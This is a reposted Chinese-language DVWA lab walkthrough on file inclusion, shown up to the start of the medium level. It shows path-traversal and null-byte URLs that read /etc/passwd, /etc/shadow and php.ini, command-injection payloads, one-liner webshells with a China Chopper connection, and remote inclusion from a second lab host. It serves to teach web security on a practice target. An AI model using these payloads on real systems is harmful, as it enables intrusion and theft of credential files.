DVWA |
您所在的位置:网站首页 › dvwa靶机使用教程 › DVWA |
一)DVWA——File_include基本原理 二)环境准备 三)实际操作 low 本地 方法一 方法二 方法三 方法四 方法五 方法五的参考 远程 方法一 方法二 medium 本地 方法一 远程 方法一 high 方法一 方法二 impossible 防御方法 四)参考文献 —————————————————————————————————————— 一)DVWA——File_include基本原理: (文件包含漏洞通常配合文件上传漏洞来获取webshell) 二)环境准备: 文件包含漏洞分为RFI(远程文件包含)和LFI(本地文件包含漏洞) 1.本地文件包含(Local File Include) 2.远程文件包含(Remote File Include) ——需开启PHP文件中的allow_url_include=on和allow_url_fopen=onDVWA中开启了远程文件包含: 三)实际操作: DVWA——File_include——low 源代码:可以看到,服务器端对page参数没有做任何的过滤跟检查。 在WEB页面回显中有三个文件可打开,file1.php、file2.php、file3.php,点击则会转到该PHP文件所写的页面: 以上可知:通过page=xxx来打开相应的文件,此时漏洞点就暴露出来,现实中,恶意的攻击者也绝对不会乖乖点击这些链接,因此page参数是不可控的。此时我们可以尝试打开一些私密性的文件,以 /etc/passwd (Linux中的)和 /var/www/phpinfo.php(Linux中的)文件为例,只要有足够的权限,在此处就可以打开想打开的文件。 本地文件包含: 方法一: 我们尝试着包含一个不存在的本地文件 haha.php (或者是路径错误的文件): 尝试包含Linux中的文件 /phpinfo.php :(报错,显示没有这个文件,说明不是服务器系统不是Linux) 再尝试包含Linux中的配置文件 /etc/shadow :(报错,显示没有这个文件,说明不是服务器系统不是Linux) 同时还发现页面错误信息暴露了服务器绝对路径:E:\phpStudy\WWW. 第一行的那个Warning就是找不到我们指定的haha.php文件,也就是包含不到我们指定的文件,所以Warning。 第二行的警告是因为前面没有找到指定文件,所以包含的时候就出警告了。我们可以使用服务器绝对路径进行伪造: Windows系统: http://192.168.67.143/dvwa/vulnerabilities/fi/page=E:\phpStudy\WWW\dvwa\php.ini Linux系统: http://192.168.67.143/dvwa/vulnerabilities/fi/page=/etc/passwd(可以直接读取已存在的敏感文件) http://192.168.67.143/dvwa/vulnerabilities/fi/page=/etc/shadow(可以直接读取已存在的敏感文件)此时成功读取了服务器的php.ini文件: 也能成功读取服务器的phpinfo.php文件: 注:服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。 上面是绝对路径,下面借助相对路径进行伪造: 绝对路是: 1)http://192.168.67.143/dvwa/vulnerabilities/fi/page=E:\phpStudy\WWW\dvwa\php.ini(E:\phpStudy\WWW是绝对的) 2)http://192.168.67.143/dvwa/vulnerabilities/fi/page=http://192.168.67.143/dvwa/php.ini (和1)同理) 相对路径: 1)http://192.168.67.143/dvwa/vulnerabilities/fi/?page=..\..\..\dvwa\phpinfo.php 2)http://192.168.67.143/dvwa/vulnerabilities/fi/?page=..\..\..\dvwa\php.ini 3)http://192.168.67.143/dvwa/vulnerabilities/fi/?page=../../../dvwa/php.ini (和2是等效的) 注:..\是不可以随意不限制个数的,是要在已知绝对路径基础上 (知道绝对路径的层次不知道每层所存放的具体文件位置)同时,前面通过伪造读取php.ini文件,发现配置文件中Magic_quote_gpc选项为off。在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,我们可以在文件名中使用%00进行截断(使用%00截断可以绕过某些过滤规则,例如要求page参数的后缀必须为php,这时链接A会读取失败,而链接B可以绕过规则成功读取。),也就是说文件名中%00后的内容不会被识别,即下面两个url是完全等效的: A)http://192.168.67.143/dvwa/vulnerabilities/fi/page=..\..\..\dvwa\php.ini B)http://192.168.67.143/dvwa/vulnerabilities/fi/page=..\..\..\dvwa\php.ini%0012.php方法二: 本地(192.168.67.143)进入文件上传 File Upload 模块上传 wjbh.txt 文件,并复制上传链接的相对路径: 回到文件包含模块利用上面得到的相对路径构造URL: http://192.168.67.143/dvwa/vulnerabilities/fi/page=../../hackable/uploads/wjbh.txt点击进入,可以看到txt文件中的php脚本成功显示在页面上: 方法三: 编写一个木马文件(muma.txt)并读取执行文件,内容如下: PHP一句话木马: ASP一句话木马: ASPX一句话木马:将此木马文件放置到本地的网站根目录下(E:/phpstudy/WWW)执行之后,页面回显为空,此时已经执行我们构造的一句话木马,在 Command Injection命令执行漏洞中可以查看到: 在命令执行漏洞中可以构造如下payload: windows: 1) || dir E:\phpstudy\www /b 2) 127.0.0.1 && dir E:\phpstudy\www /b linux: || ls /var/www或者使用下面的url也是起到同样的效果: PHP一句话木马文件创建成功就可以使用中国菜刀连接,以执行任何操作(任意命令执行)【用中国菜刀连接,测试该PHP一句话木马是否生效】: 打开中国菜刀——进入如下界面——右键点击“添加”: 此时会弹出一个添加shell的对话框,填写木马文件的路径(如果填写的路径中存在对应的文件,那么配置中的信息会自动显示出来),地址后面的小框框里面的“key”就“口令”,也就是 这里的“key”。下面配置项如果知道用户名密码就填,不知道就不填,也不会影响文件管理和虚拟终端这两个功能,只是不能查看数据库了: 中国菜刀连接成功获得webshell权限,此时我们可以对目标(此处为本地机器)进行任意操作,如:删除文件,添加脚本文件,查看文件等等。 方法四: 结合文件上传漏洞(为了获取文件的路径,本地搭建的环境自然是知道路径的,但是如果是实际中的,那么要中国菜刀连接的目标主机就要先获取木马文件的路径才能连接)【结合文件上传漏洞以便先把一句话木马上传到服务器端,更多用于远程文件包含】: 选择一句话木马文件(muma.php)将它上传,上传成功会显示木马文件的相对完整路径: 方法五: 以上通过命令执行和文件上传都是有前提条件的,命令执行要先知道完整路径,文件上传也是,并且文件上传最终显示的只是相对路径(我们可以利用获取到的相对路径构造url进行绕过),所以下面结合命令执行漏洞通过 dos命令的dir命令显示出一句话木马文件 muma.php 的完整路径,再进行菜刀连接: 此时就获取到了muma.php 的完整路径,在命令执行中尝试实现: 如果连文件所在磁盘都不知道,可以输入:diskpart(要以管理员身份打开),再输入list ? 查看list命令的使用方法,再输入:list volume 查看目标机中所有磁盘: 之后可以每个磁盘逐一去尝试: muma.php 不在C盘: muma.php 不在D盘: muma.php 在E盘: 在命令执行中尝试: 此时知道了目标机器中所有的磁盘后,Ctrl+C 就会将dos窗口自动关闭,此时我们接着在dvwa的命令执行中构造payload以确定一句话木马的完整路径:
方法五的参考: Linux和Windows中find命令的使用 Linux和Windows中find命令和dir命令的使用(简洁明了) Windows中where命令查看指定命令所在的位置 知道文件所在磁盘后用tree命令显示整个磁盘结构 查看Windows系统磁盘信息(list列出所有磁盘) DVWA解决乱码问题(有效的最快方式) 远程文件包含: 方法一 在远程服务器192.168.67.140 上传一个 phpinfo.txt 文件: 构造url:http://192.168.67.143/dvwa/vulnerabilities/fi/page=http://192.168.67.140/phpinfo.txt 此时提示phpinfo.txt文件中有错误:缺少分号或者逗号(在第4行),进行修改: 此时再次在客户端访问就成功读取phpinfo.txt文件内容并执行了文件中的函数: 为了增加隐蔽性,可以对 http://192.168.67.143/phpinfo.txt 进行编码: url编码:http%3a%2f%2f192.168.67.140%2fphpinfo.txt同样可以读取文件内容并执行文件中的php代码函数: 方法二: 先在远程主机192.168.67.140中编写好一个一句话木马(muma.asp): 构造url: http://192.168.67.143/dvwa/vulnerabilities/fi/?page=http://192.168.67.140/muma11.asp在192.168.67.143中: 或者: DVWA——File_include——medium 核心代码: |
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |